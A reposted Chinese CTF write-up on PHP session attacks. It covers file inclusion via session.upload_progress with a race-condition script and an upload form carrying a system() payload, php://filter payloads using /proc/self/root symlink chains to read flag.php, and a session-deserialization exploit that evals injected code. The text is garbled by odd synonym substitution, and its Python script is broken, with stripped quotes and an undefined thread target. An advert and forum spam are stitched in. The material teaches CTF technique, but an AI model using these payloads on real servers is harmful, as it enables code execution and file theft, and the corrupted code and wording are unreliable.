session利用的小思路
<h1 style="color: black; text-align: left; margin-bottom: 10px;">session利用的小思路</h1>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">前言</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">做题的时候经常考到session利用,<span style="color: black;">平常</span>的基本就两种,session文件<span style="color: black;">包括</span>和session反序列化,之前<span style="color: black;">无</span><span style="color: black;">仔细</span>总结过,就写写吧。</span></p>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">session文件<span style="color: black;">包括</span></h1>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">php.ini</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">session的<span style="color: black;">关联</span>配置</span></p><span style="color: black;">session.upload_progress.enabled</span> = <span style="color: black;">on</span>//enabled=<span style="color: black;">on</span><span style="color: black;">暗示</span>upload_progress功能<span style="color: black;">起始</span>,<span style="color: black;">亦</span><span style="color: black;">寓意</span>着当浏览器向服务器上传一个文件时,php将会把此次文件上传的<span style="color: black;">仔细</span>信息(如上传时间、上传进度等)存储在session<span style="color: black;">其中</span> ;
<span style="color: black;">session.upload_progress.prefix</span> = <span style="color: black;">"upload_progress_"</span>//将<span style="color: black;">暗示</span>为session中的键名<span style="color: black;">session.upload_progress.name</span> = <span style="color: black;">"PHP_SESSION_UPLOAD_PROGRESS"</span> //当它出<span style="color: black;">此刻</span>表单中,php将会报告上传进度,<span style="color: black;">况且</span>它的值可控!!!
<span style="color: black;">session.use_strict_mode</span> = <span style="color: black;">off</span> //这个选项默认值为<span style="color: black;">off</span>,<span style="color: black;">暗示</span><span style="color: black;">咱们</span>对Cookie中sessionid可控!!!<span style="color: black;">session.save_path</span> = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">当session<span style="color: black;">关联</span>配置如上的时候,<span style="color: black;">咱们</span><span style="color: black;">能够</span>利用</span><span style="color: black;"><span style="color: black;">session.upload_progress</span></span>将恶意语句写入session文件,从而<span style="color: black;">包括</span>session文件。</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">平常,当<span style="color: black;">咱们</span>要创建session时<span style="color: black;">常常</span>会在php代码里写</span><span style="color: black;"><span style="color: black;">session_start()</span></span>,但<span style="color: black;">咱们</span>不写的话,<span style="color: black;">亦</span>是<span style="color: black;">能够</span>创建的。</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">例如</span>,在php.ini中设置</span><span style="color: black;"><span style="color: black;">session.auto_start=On</span></span> 的<span style="color: black;">状况</span>下,php在接收请求的时候会自动初始化session,不需要执行<span style="color: black;"><span style="color: black;">session_start()</span></span>。但默认状态下,这个选项是默认关闭的。</p>
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/935b3a1724ab41028eae92cf2c2ed586~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=HKVe33Vb%2F8uLAsgAZmkvUV7boao%3D" style="width: 50%; margin-bottom: 20px;"></div>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">不外</span>幸好,session还有一个默认选项,</span><span style="color: black;"><span style="color: black;">session.use_strict_mode</span></span>默认值为0。</p>
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/c47bff90826b48ac81b6d3ff87648110~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=mbV9o%2BOjhpVUefiw%2BcwZSDAG3Sk%3D" style="width: 50%; margin-bottom: 20px;"></div>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">这般</span>用户是<span style="color: black;">能够</span>自己定义session ID的。<span style="color: black;">例如</span>,<span style="color: black;">咱们</span>在cookie里设置PHPSESSID=AndyNoel,就会在服务器</span><span style="color: black;"><span style="color: black;">/tmp</span></span>目录下<span style="color: black;">或</span><span style="color: black;"><span style="color: black;">/var/lib/php/sessions/</span></span>目录下创建一个文件:sess_AndyNoel。即便<span style="color: black;">无</span>设置自动初始化session,php<span style="color: black;">亦</span>会产生session,并生成一个键值,这个键值由</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">ini.get("</p>session.upload_progress.prefix")
+<span style="color: black;">咱们</span>构造的<span style="color: black;"><span style="color: black;"><span style="color: black;">session.upload_progress.name</span></span></span>值<span style="color: black;">构成</span>,最后被<span style="color: black;">一块</span>写入sess_文件里。
<h1 style="color: black; text-align: left; margin-bottom: 10px;">Make PHP Great Again</h1><span style="color: black;"><span style="color: black;"><?php</span>
highlight_file(<span style="color: black;">__FILE__</span>);
<span style="color: black;">require_once</span> <span style="color: black;">flag.php</span>;
<span style="color: black;">if</span>(<span style="color: black;">isset</span>($_GET[<span style="color: black;">file</span>])) {
<span style="color: black;">require_once</span> $_GET[<span style="color: black;">file</span>];
}
<span style="color: black;">//Please hack me with your 0day!</span>
</span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">很容易<span style="color: black;">发掘</span>存在一个文件<span style="color: black;">包括</span>漏洞,但找不到能<span style="color: black;">包括</span>的恶意文件,那<span style="color: black;">咱们</span>就<span style="color: black;">能够</span>往session里面写入恶意内容,<span style="color: black;">而后</span><span style="color: black;">包括</span>它。</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">【一>所有资源关注我,私信回复“资料”获取<一】</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">1、200份<span style="color: black;">非常多</span><span style="color: black;">已然</span>买不到的绝版电子书</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">2、30G安全大厂内部的视频资料</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">3、100份src文档</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">4、<span style="color: black;">平常</span>安全面试题</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">5、ctf大赛经典题目解析</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">6、全套工具包</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">7、应急响应笔记</p>8、网络安全学习路线
<h1 style="color: black; text-align: left; margin-bottom: 10px;">session维持</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">根据</span>上面说的思路创建好session后,问题又来了,那<span style="color: black;">便是</span>在php.ini<span style="color: black;">常常</span>还有一条设置</span></p><span style="color: black;">session.upload_progress.cleanup</span> = <span style="color: black;">on</span> //<span style="color: black;">暗示</span>当文件上传结束后,php将会立即清空对应session文件中的内容
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">默认配置</span><span style="color: black;"><span style="color: black;"><span style="color: black;">session.upload_progress.cleanup = on</span></span></span><span style="color: black;">引起</span>文件上传后,session文件内容立即清空,清空了就没办法利用了。<span style="color: black;">咱们</span><span style="color: black;">想要</span>办法把session留在里面,<span style="color: black;">因此</span>就要利用<span style="color: black;">要求</span>竞争,在session文件内容清空前进行文件<span style="color: black;">包括</span>利用。</p>
<h1 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">办法</span>一 | 借助Burp Suite</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">能够</span>在本地写一个上传页面,<span style="color: black;">而后</span>抓包添加</span><span style="color: black;"><span style="color: black;">Cookie: PHPSESSID=AndyNoel</span></span>,再用BurpSuite爆破</p><span style="color: black;"><!DOCTYPE <span style="color: black;">html</span>></span>
<span style="color: black;"><<span style="color: black;">html</span>></span>
<span style="color: black;"><<span style="color: black;">body</span>></span>
<span style="color: black;"><<span style="color: black;">form</span> <span style="color: black;">action</span>=<span style="color: black;">"http://localhost/index.php"</span> <span style="color: black;">method</span>=<span style="color: black;">"POST"</span> <span style="color: black;">enctype</span>=<span style="color: black;">"multipart/form-data"</span>></span>
<span style="color: black;"><<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"hidden"</span> <span style="color: black;">name</span>=<span style="color: black;">"PHP_SESSION_UPLOAD_PROGRESS"</span> <span style="color: black;">value</span>=<span style="color: black;">"<?php system(cat flag.php);?>"</span> /></span>
<span style="color: black;"><<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"file"</span> <span style="color: black;">name</span>=<span style="color: black;">"file"</span> /></span>
<span style="color: black;"><<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"submit"</span> <span style="color: black;">value</span>=<span style="color: black;">"submit"</span> /></span>
<span style="color: black;"></<span style="color: black;">form</span>></span>
<span style="color: black;"></<span style="color: black;">body</span>></span>
<span style="color: black;"></<span style="color: black;">html</span>></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">一边<span style="color: black;">持续</span>发包请求<span style="color: black;">包括</span>恶意的session,一边<span style="color: black;">持续</span>发包以维持恶意session存储。<span style="color: black;">这般</span>就<span style="color: black;">能够</span>利用<span style="color: black;">要求</span>竞争把恶意内容留在session里面了。</span></p>
<h1 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">办法</span>二 | python脚本</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">原理和上面的差不多,<span style="color: black;">然则</span><span style="color: black;">咱们</span>直接编写脚本,写shell、取flag一把梭出来,用不着<span style="color: black;">那样</span>麻烦了</span></p><span style="color: black;">import</span> io
<span style="color: black;">import</span> sys
<span style="color: black;">import</span> requests
<span style="color: black;">import</span>threading
sessid =<span style="color: black;">AndyNoel</span>
<span style="color: black;"><span style="color: black;">def</span> <span style="color: black;">WRITE</span><span style="color: black;">(session)</span>:</span>
<span style="color: black;">while</span> <span style="color: black;">True</span>:
f = io.BytesIO(<span style="color: black;">ba</span> * <span style="color: black;">1024</span> * <span style="color: black;">50</span>)
session.post(
<span style="color: black;">http://localhost/index.php</span>,
data={<span style="color: black;">"PHP_SESSION_UPLOAD_PROGRESS"</span>:<span style="color: black;">"<?php system(cat flag.php);?>"</span>},
files={<span style="color: black;">"file"</span>:(<span style="color: black;">1.txt</span>, f)},
cookies={<span style="color: black;">PHPSESSID</span>:sessid}
)
<span style="color: black;"><span style="color: black;">def</span> <span style="color: black;">READ</span><span style="color: black;">(session)</span>:</span>
<span style="color: black;">while</span> <span style="color: black;">True</span>:
resp = session.get(<span style="color: black;">fhttp://localhost/index.php/?file=../../../../../../../../tmp/sess_<span style="color: black;">{sessid}</span></span>)
<span style="color: black;">if</span> <span style="color: black;">flag{</span> <span style="color: black;">in</span> resp.text:
print(resp.text)
sys.exit(<span style="color: black;">0</span>)
<span style="color: black;">else</span>:
print(<span style="color: black;">Thinking[+++++++]</span>)
<span style="color: black;">with</span> requests.session() <span style="color: black;">as</span> session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = <span style="color: black;">True</span>t1.start()
READ(session)<h1 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">办法</span>三(非预期) | 伪协议<span style="color: black;">协同</span>多级符号链接的办法进行绕过。</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在<span style="color: black;">这儿</span>有个小知识点,</span><span style="color: black;"><span style="color: black;">/proc/self</span></span>指向当前进程的<span style="color: black;"><span style="color: black;">/proc/pid/</span></span>,<span style="color: black;"><span style="color: black;">/proc/self/root/</span></span><span style="color: black;">指的是</span>向<span style="color: black;"><span style="color: black;">/</span></span>的符号链接,想到<span style="color: black;">这儿</span>,用伪协议<span style="color: black;">协同</span>多级符号链接的办法进行绕过。</p>payload:
?file=<span style="color: black;">php:</span>/<span style="color: black;">/filter/convert</span>.base64-encode/resource=<span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/proc/self</span><span style="color: black;">/root/proc</span><span style="color: black;">/self/root</span><span style="color: black;">/var/www</span><span style="color: black;">/html/flag</span>.php
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">另一</span>一个payload</span></p>?file=<span style="color: black;">php:</span>/<span style="color: black;">/filter/convert</span>.base64-encode/resource=<span style="color: black;">/nice/</span>../../proc/<span style="color: black;">self</span>/cwd/flag.php
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/781b075f78344e978eb9b2ddfb3a93cd~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=djudA7crkAWrEbC1pIFV3XaRlfk%3D" style="width: 50%; margin-bottom: 20px;"></div>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">session反序列化</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">选取</span><span style="color: black;">区别</span>的处理器,处理方式<span style="color: black;">亦</span>不<span style="color: black;">同样</span>,<span style="color: black;">倘若</span>序列化和储存session与反序列化的方式<span style="color: black;">区别</span>,就有可能<span style="color: black;">引起</span>漏洞的产生。</span></p>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">Jarvis OJ WEB PHPINFO</h1><span style="color: black;"><span style="color: black;"><?php</span>ini_set(<span style="color: black;">session.serialize_handler</span>, <span style="color: black;">php</span>);
session_start();
<span style="color: black;"><span style="color: black;">class</span> <span style="color: black;">OowoO</span>
</span>{
<span style="color: black;">public</span> $mdzz;
<span style="color: black;"><span style="color: black;">function</span> <span style="color: black;">__construct</span><span style="color: black;">()</span>
</span>{
<span style="color: black;">$this</span>->mdzz = <span style="color: black;">phpinfo();</span>;
}
<span style="color: black;"><span style="color: black;">function</span> <span style="color: black;">__destruct</span><span style="color: black;">()</span>
</span>{
<span style="color: black;">eval</span>(<span style="color: black;">$this</span>->mdzz);
}
}
<span style="color: black;">if</span>(<span style="color: black;">isset</span>($_GET[<span style="color: black;">phpinfo</span>]))
{
$m = <span style="color: black;">new</span> OowoO();
}
<span style="color: black;">else</span>{
highlight_string(file_get_contents(<span style="color: black;">index.php</span>));
}
<span style="color: black;">?></span></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">倘若</span>只看php代码,其实<span style="color: black;">咱们</span>是找不到参数可控的<span style="color: black;">地区</span>的,<span style="color: black;">因此</span><span style="color: black;">经过</span>什么<span style="color: black;">办法</span>来进行反序列化呢?</span><span style="color: black;"><span style="color: black;">session.serialize_handler</span></span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">session.serialize_handler (string)</span></span>用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 <span style="color: black;">倘若</span> PHP 编译时加入了 WDDX 支持,则只能用 WDDX。<span style="color: black;"><span style="color: black;">php_serialize</span></span>在内部简单地直接<span style="color: black;">运用</span><span style="color: black;"><span style="color: black;">serialize/unserialize</span></span>函数,并且不会有 php 和 php_binary 所<span style="color: black;">拥有</span>的限制。 <span style="color: black;">运用</span>较旧的序列化处理器<span style="color: black;">引起</span> $_SESSION 的索引既<span style="color: black;">不可</span>是数字<span style="color: black;">亦</span><span style="color: black;">不可</span><span style="color: black;">包括</span>特殊字符(| and !) 。</p>
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/c67f2fcd289b447e948cbef93cddbf24~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=5fxPD1WIlwcMlYMd32eFbT9tG7s%3D" style="width: 50%; margin-bottom: 20px;"></div>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">能够</span>看一下这个题目环境的phpinfo,在session部分</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">默认</span><span style="color: black;"><span style="color: black;">session.serialize_handler</span></span>为<span style="color: black;"><span style="color: black;">php_serialize</span></span>,而<span style="color: black;">这儿</span>却设置为php:</p>
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/54cfa3c20345436c8a689d457849becb~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=IhpggHc8yxvrjXyNF6T8Afrbp1w%3D" style="width: 50%; margin-bottom: 20px;"></div>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">这般</span>就很<span style="color: black;">显著</span>了,<span style="color: black;">由于</span>处理器对应的处理格式<span style="color: black;">区别</span><span style="color: black;">引起</span><span style="color: black;">显现</span>session反序列化漏洞</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">但还是<span style="color: black;">不足</span>,<span style="color: black;">由于</span><span style="color: black;">咱们</span>还是没办法<span style="color: black;">掌控</span>变量,翻看PHP手册有个有意思的<span style="color: black;">地区</span>:</span></p>
<div style="color: black; text-align: left; margin-bottom: 10px;"><img src="https://p3-sign.toutiaoimg.com/tos-cn-i-qvj2lq49k0/3694f8a1ad384b29bf1e0082f8072471~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1728208510&x-signature=qrKYbc0Q%2BALVxCZ447CvyHTC6t8%3D" style="width: 50%; margin-bottom: 20px;"></div>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">既然如此,<span style="color: black;">咱们</span><span style="color: black;">能够</span>去<span style="color: black;">瞧瞧</span><span style="color: black;">相关</span>session的php.ini的设置</span></p><span style="color: black;"><span style="color: black;">session.upload_progress.enabled = on</span></span><span style="color: black;"><span style="color: black;">session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS</span></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">设置是<span style="color: black;">这般</span>的话,<span style="color: black;">咱们</span>就<span style="color: black;">能够</span>构造反序列化了。</span></p><span style="color: black;"><span style="color: black;"><?php</span>
<span style="color: black;"><span style="color: black;">class</span> <span style="color: black;">OowoO</span>
</span>{
<span style="color: black;">public</span> $mdzz=<span style="color: black;">var_dump(scandir("/opt/lampp/htdocs/"));</span>;<span style="color: black;">//从phpinfo看见的</span>
}
$obj = <span style="color: black;">new</span> OowoO();
<span style="color: black;">echo</span> serialize($obj);
<span style="color: black;">?></span></span>
<span style="color: black;">O</span><span style="color: black;">:5</span><span style="color: black;">:"OowoO"</span><span style="color: black;">:1</span>:{<span style="color: black;">s</span>:<span style="color: black;">4</span>:<span style="color: black;">"mdzz"</span>;<span style="color: black;">s</span>:<span style="color: black;">40</span>:<span style="color: black;">"var_dump(scandir("</span>/opt/lampp/htdocs/<span style="color: black;">"));"</span>;}
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">为了防止双引号转义,<span style="color: black;">因此</span>要处理一下,在双引号前面加</span><span style="color: black;"><span style="color: black;">\</span></span>,<span style="color: black;">因此</span>应该是<span style="color: black;">这般</span></p>O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">而后</span>自己本地写一个提交页面:</span></p><form action=<span style="color: black;">"http://localhost/index.php"</span> method=<span style="color: black;">"POST"</span> enctype=<span style="color: black;">"multipart/form-data"</span>>
<<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"hidden"</span> name=<span style="color: black;">"PHP_SESSION_UPLOAD_PROGRESS"</span>value=<span style="color: black;">"ADNL"</span> />
<<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"file"</span> name=<span style="color: black;">"file"</span> />
<<span style="color: black;">input</span> <span style="color: black;">type</span>=<span style="color: black;">"submit"</span> />
</form>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">抓包修改,在序列化的字符串前加 |,提交<span style="color: black;">就可</span>。</span></p>
<h1 style="color: black; text-align: left; margin-bottom: 10px;">小结</h1>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">session<span style="color: black;">相关</span>的安全性问题<span style="color: black;">重点</span>是文件<span style="color: black;">包括</span>和反序列化两个利用点,利用</span><span style="color: black;"><span style="color: black;"><span style="color: black;">PHP_SESSION_UPLOAD_PROGRESS</span></span></span><span style="color: black;">能够</span>绕过大部分过滤。</p>
你说得对,我们一起加油,未来可期。 “板凳”(第三个回帖的人) 外链发布论坛学习网络优化SEO。 在遇到你之前,我对人世间是否有真正的圣人是怀疑的。 太棒了、厉害、为你打call、点赞、非常精彩等。
页:
[1]